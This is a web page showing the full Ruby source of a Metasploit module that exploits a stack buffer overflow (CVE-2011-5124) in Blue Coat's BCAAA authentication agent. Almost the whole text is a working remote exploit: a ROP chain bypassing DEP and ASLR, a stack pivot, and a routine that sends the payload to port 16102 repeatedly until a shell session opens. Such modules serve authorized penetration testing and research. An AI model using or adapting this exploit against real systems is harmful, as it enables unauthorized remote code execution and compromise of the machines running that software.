Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bcaaa_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info={})11super(update_info(info,12'Name' => "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",13'Description' => %q{14This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),15which comes as part of the Blue Coat Authentication proxy. Please note that by default,16this exploit will attempt up to three times in order to successfully gain remote code17execution (in some cases, it takes as many as five times). This can cause your activity18to look even more suspicious. To modify the number of exploit attempts, set the19ATTEMPTS option.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Paul Harrington', # Initial discovery and PoC25'Travis Warren', # MSF Module with Universal DEP/ASLR bypass26'sinn3r', # More testing / reliability, plus minor changes27],28'References' =>29[30[ 'CVE', '2011-5124' ],31[ 'OSVDB', '72095'],32[ 'URL', 'https://kb.bluecoat.com/index?page=content&id=SA55' ],33[ 'URL', 'https://seclists.org/bugtraq/2011/Jul/44' ]34],35'Payload' =>36{37'Space' => 936,38'BadChars' => "\x00",39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44[ 'BCAAA Version 5.4.6.1.54128', {} ],45],46'Privileged' => false,47'DisclosureDate' => '2011-04-04',48'DefaultTarget' => 0))4950register_options(51[52Opt::RPORT(16102),53OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]),54])55end5657def junk58return rand_text(4).unpack("L")[0].to_i59end6061def exploit6263rop_gadgets = [64# rop chain generated with mona.py650x7c346c0a, # POP EAX # RETN (MSVCR71.dll)660x7c37a140, # Make EAX readable670x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)68junk, # EBP (filler)690x7c346c0a, # POP EAX # RETN (MSVCR71.dll)700x7c37a140, # <- *&VirtualProtect()710x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)720x7c346c0b, # Slide, so next gadget would write to correct stack location730x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)74junk, # EDI (filler)75junk, # will be patched at runtime (VP), then picked up into ESI76junk, # EBX (filler)770x7c376402, # POP EBP # RETN (msvcr71.dll)780x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)790x7c346c0a, # POP EAX # RETN (MSVCR71.dll)800xfffffdff, # size 0x00000201 -> ebx, modify if needed810x7c351e05, # NEG EAX # RETN (MSVCR71.dll)820x7c354901, # POP EBX # RETN (MSVCR71.dll)830xffffffff, # pop value into ebx840x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)850x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)860x7c34d201, # POP ECX # RETN (MSVCR71.dll)870x7c38b001, # RW pointer (lpOldProtect) (-> ecx)880x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)890x7c34b8d8, # ROP NOP (-> edi)900x7c344f87, # POP EDX # RETN (MSVCR71.dll)910xffffffc0, # value to negate, target value : 0x00000040, target: edx920x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)930x7c346c0a, # POP EAX # RETN (MSVCR71.dll)940x90909090, # NOPS (-> eax)950x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)96].pack("V*")9798pivot = [990x7C3410C4, # RETN (MSVCR71.dll)1000x1003800C, # PUSH ESP; POP EBX; POP EBP; RETN (SmAgentAPI.dll)1010x4241467D, # EBP1020x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1030x7C3417D2, # SUB EAX,EAX; RETN (MSVCR71.dll)1040x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1050x7C34f6C2, # MOV EAX, EBX; POP EBX; RETN (MSVCR71.dll)106junk, # EBX1070x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1080x5D02D0A0, # SUB EBP,EAX; RETN (MSVCR70.dll)1090x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1100x7C3B5080, # XCHG EAX,ESP; RETN (MSVCP71.dll)111].pack("V*")112113attempts = datastore['ATTEMPTS']114115#Sometimes a few attempts are needed to get a shell back (3 or 5 times)116attempts.times do |i|117#If we have a session on the box already, then we don't continue trying118break if session_created?119buffer = rand_text(8)120buffer << rop_gadgets121buffer << payload.encoded122buffer << 'EBAB'123buffer << rand_text(8)124buffer << pivot125126connect127print_status("Sending request to #{rhost}. Attempt ##{(i+1).to_s}...")128sock.put(buffer)129handler130select(nil, nil, nil, 2)131disconnect132end133end134end135136137